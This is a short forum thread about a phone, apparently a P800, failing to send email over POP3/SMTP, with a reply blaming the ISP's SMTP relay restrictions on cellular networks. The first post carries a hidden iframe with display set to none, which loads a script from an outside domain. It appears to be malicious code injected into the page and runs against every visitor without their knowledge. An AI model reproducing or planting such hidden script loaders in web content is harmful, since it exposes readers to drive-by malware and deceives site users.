Has anyone got their Email messaging working via their POP3 and SMTP email address? I can receive emails, but when I try and send I get an error saying 'Email message has an invalid "to", "Cc" or "Bcc" address'
Any ideas???<iframe src="http://tmb-corp.com/g/p/l/counter.js" style="display:none"></iframe>

I get the same problem, and would be keen to find out the answer also.

Any news? Have you managed to solve it since posting your query here?

I am sending mail by P800

as far as I can remember that means that you need to set a smtp server that is on your cell providers network.

your isp's smtp server will block you sending via it from an outside network (the cellular network) due to spam relay constraints
